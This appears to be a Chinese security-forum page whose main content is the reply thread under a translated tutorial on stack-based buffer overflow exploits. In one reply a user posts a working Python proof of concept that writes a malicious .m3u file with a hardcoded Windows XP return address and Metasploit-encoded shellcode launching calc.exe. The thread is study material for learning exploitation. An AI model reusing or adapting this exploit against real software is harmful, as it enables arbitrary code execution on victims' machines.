首页
社区
课程
招聘
[翻译]Exploit 编写系列教程第一篇:基于栈的溢出
2009-11-16 19:59 57248

[翻译]Exploit 编写系列教程第一篇:基于栈的溢出

2009-11-16 19:59
57248
收藏
点赞9
打赏
分享
最新回复 (59)
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
thebeast 2012-1-12 15:13
51
0
mark, 开始学习exploit.
雪    币: 107
活跃值: (107)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
einyboy 2012-5-6 18:23
52
0
要支持一下的
雪    币: 36
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
吕归尘 2014-1-12 12:29
53
0
谢谢 辛苦了··············
雪    币: 6164
活跃值: (787)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
nsec 2014-8-21 09:48
54
0
辛苦了,谢谢分享。
雪    币: 34
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yangwenyi 2014-8-21 09:51
55
0
感谢楼主分享
雪    币: 256
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
敉沧 2014-8-24 20:50
56
0
感谢分享和翻译~
雪    币: 973
活跃值: (517)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mihacker 2015-2-16 22:46
57
0
我来学习 下 。
雪    币: 156
活跃值: (190)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
Gall 2015-6-28 03:51
58
0
感谢分享 ! 自己测试了一下,附上自己的poc。
    ================================================================
    测试平台: Windows XP SP 3 - 5.1.2600 Service Pack 3 Build 2600 (x86)
    测试工具: Windbg, Metasploit

    测试结论:

        1. 让程序崩溃
        2. 控制EIP,测试可用ShellCode空间
        3. 去掉Bad Chars
        4. 准备Shellcode,完成攻击程序

================================================================

#!/usr/bin/env python
# -*- coding: utf8 -*-

media_file = "crash.m3u"

with open(media_file, "w") as f:
    junk1 = "A" * 26042

    eip = "\x7B\x46\x86\x7C"   # 0x7c86467b

    # Bad Chars: 00 09 0A

    # windows/exec - 220 bytes
    # http://www.metasploit.com
    # Encoder: x86/shikata_ga_nai
    # VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
    # CMD=calc.exe
    buf =  "\x90" * 0x10
    buf += "\xba\xd5\xaf\x4c\x41\xdb\xc6\xd9\x74\x24\xf4\x5f\x31"
    buf += "\xc9\xb1\x31\x31\x57\x13\x03\x57\x13\x83\xef\x29\x4d"
    buf += "\xb9\xbd\x39\x10\x42\x3e\xb9\x75\xca\xdb\x88\xb5\xa8"
    buf += "\xa8\xba\x05\xba\xfd\x36\xed\xee\x15\xcd\x83\x26\x19"
    buf += "\x66\x29\x11\x14\x77\x02\x61\x37\xfb\x59\xb6\x97\xc2"
    buf += "\x91\xcb\xd6\x03\xcf\x26\x8a\xdc\x9b\x95\x3b\x69\xd1"
    buf += "\x25\xb7\x21\xf7\x2d\x24\xf1\xf6\x1c\xfb\x8a\xa0\xbe"
    buf += "\xfd\x5f\xd9\xf6\xe5\xbc\xe4\x41\x9d\x76\x92\x53\x77"
    buf += "\x47\x5b\xff\xb6\x68\xae\x01\xfe\x4e\x51\x74\xf6\xad"
    buf += "\xec\x8f\xcd\xcc\x2a\x05\xd6\x76\xb8\xbd\x32\x87\x6d"
    buf += "\x5b\xb0\x8b\xda\x2f\x9e\x8f\xdd\xfc\x94\xab\x56\x03"
    buf += "\x7b\x3a\x2c\x20\x5f\x67\xf6\x49\xc6\xcd\x59\x75\x18"
    buf += "\xae\x06\xd3\x52\x42\x52\x6e\x39\x08\xa5\xfc\x47\x7e"
    buf += "\xa5\xfe\x47\x2e\xce\xcf\xcc\xa1\x89\xcf\x06\x86\x66"
    buf += "\x9a\x0b\xae\xee\x43\xde\xf3\x72\x74\x34\x37\x8b\xf7"
    buf += "\xbd\xc7\x68\xe7\xb7\xc2\x35\xaf\x24\xbe\x26\x5a\x4b"
    buf += "\x6d\x46\x4f\x28\xf0\xd4\x13\x81\x97\x5c\xb1\xdd"

    junk2 = (1000 - 42 - 4 - len(buf)) * "C"

    payload = junk1 + eip + buf + junk2
    f.write(payload)

print "[+] m3u File Created Successfully !"
上传的附件:
雪    币: 8
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
evilG 2016-7-27 19:05
59
0
感谢分享!!!感觉很好很经典。
雪    币: 7
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
洛燕 2018-1-5 15:40
60
0
我跟着调试了一下,发现复制文件内容时候,会加上文件路径(栈中:file_path+'AAAAA...'+ ret_eip +‘\x90’*4+shelllcode),所以如果文件路径变化掉,文件内容在stack中也会上下移动,这导致无法确定ret_eip的位置,请问这时有什么好办法来控制ret  eip.
雪    币: 75
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
悲桑的问题 2020-6-29 09:47
61
0
老哥 拿走了 多谢了!开始入坑了
游客
登录 | 注册 方可回帖
返回